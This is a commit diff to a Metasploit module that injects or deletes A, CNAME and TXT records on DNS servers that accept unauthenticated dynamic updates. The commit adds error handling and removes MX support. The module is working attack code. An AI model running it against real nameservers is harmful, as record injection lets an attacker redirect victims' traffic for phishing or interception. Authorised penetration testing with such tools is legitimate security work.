Add more exception handling, fix tidy rules

bug/bundler_fix
KINGSABRI 2016-10-14 00:32:04 +03:00 committed by Brent Cook
parent ce124e6090
commit b618e5ca6f
1 changed files with 34 additions and 29 deletions

View File

@ -3,7 +3,6 @@
# This module requires Metasploit: http://metasploit.com/download # This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework # Current source: https://github.com/rapid7/metasploit-framework
## ##
require 'msf/core'
require 'dnsruby' require 'dnsruby'
class MetasploitModule < Msf::Auxiliary class MetasploitModule < Msf::Auxiliary
@ -30,25 +29,25 @@ class MetasploitModule < Msf::Auxiliary
], ],
'DefaultAction' => 'ADD' 'DefaultAction' => 'ADD'
) )
register_options(
[ register_options([
OptString.new('DOMAIN', [true, 'The domain name']), OptString.new('DOMAIN', [true, 'The domain name']),
OptAddress.new('NS', [true, 'The vulnerable DNS server IP address']), OptAddress.new('NS', [true, 'The vulnerable DNS server IP address']),
OptString.new('INJECTDOMAIN', [true, 'The name record you want to inject']), OptString.new('INJECTDOMAIN', [true, 'The name record you want to inject']),
OptAddress.new('INJECTIP', [true, 'The IP you want to assign to the injected record']), OptAddress.new('INJECTIP', [true, 'The IP you want to assign to the injected record']),
OptEnum.new('TYPE', [true, 'The record type you want to inject.', 'A', ['A', 'CNAME', 'TXT', 'MX']]) OptEnum.new('TYPE', [true, 'The record type you want to inject.', 'A', ['A', 'CNAME', 'TXT']])
], self.class) ])
register_advanced_options([ register_advanced_options([
OptString.new('TXTSTRING', [true, 'The string to be injected with TXT record', 'w00t']) OptString.new('TXTSTRING', [true, 'The string to be injected with TXT record', 'w00t'
])
]) ])
deregister_options('RHOST', 'RPORT') deregister_options('RHOST', 'RPORT')
end end
def a_record(action) def a_record(action)
# Send the update to the zone's primary master. # Send the update to the zone's primary master.
resolver = Dnsruby::Resolver.new({:nameserver => datastore['NS']}) resolver = Dnsruby::Resolver.new({:nameserver => datastore['NS']})
# Create the update packet.
update = Dnsruby::Update.new(datastore['DOMAIN']) update = Dnsruby::Update.new(datastore['DOMAIN'])
case case
when action == 'ADD' when action == 'ADD'
@ -75,7 +74,7 @@ class MetasploitModule < Msf::Auxiliary
end end
end end
end end
#
def cname_record(action) def cname_record(action)
resolver = Dnsruby::Resolver.new({:nameserver => datastore['NS']}) resolver = Dnsruby::Resolver.new({:nameserver => datastore['NS']})
update = Dnsruby::Update.new(datastore['DOMAIN']) update = Dnsruby::Update.new(datastore['DOMAIN'])
@ -159,8 +158,9 @@ class MetasploitModule < Msf::Auxiliary
end end
end end
end end
# Run
def run def run
begin
print_status("Sending DNS query payload...") print_status("Sending DNS query payload...")
case case
when datastore['TYPE'] == 'A' when datastore['TYPE'] == 'A'
@ -169,12 +169,17 @@ class MetasploitModule < Msf::Auxiliary
cname_record(action.name) cname_record(action.name)
when datastore['TYPE'] == 'TXT' when datastore['TYPE'] == 'TXT'
txt_record(action.name) txt_record(action.name)
when datastore['TYPE'] == 'MX' # MX does not work yet
print_warning("Not implemented yet.") # when datastore['TYPE'] == 'MX'
mx_record(action.name) # mx_record(action.name)
else else
print_error "Invalid Record Type!" print_error "Invalid Record Type!"
end end
rescue Dnsruby::OtherResolvError
print_error("Connection Refused!")
rescue Dnsruby::DecodeError
print_error("None DNS protocol answer!, Make sure it's a DNS service")
end
end end
end end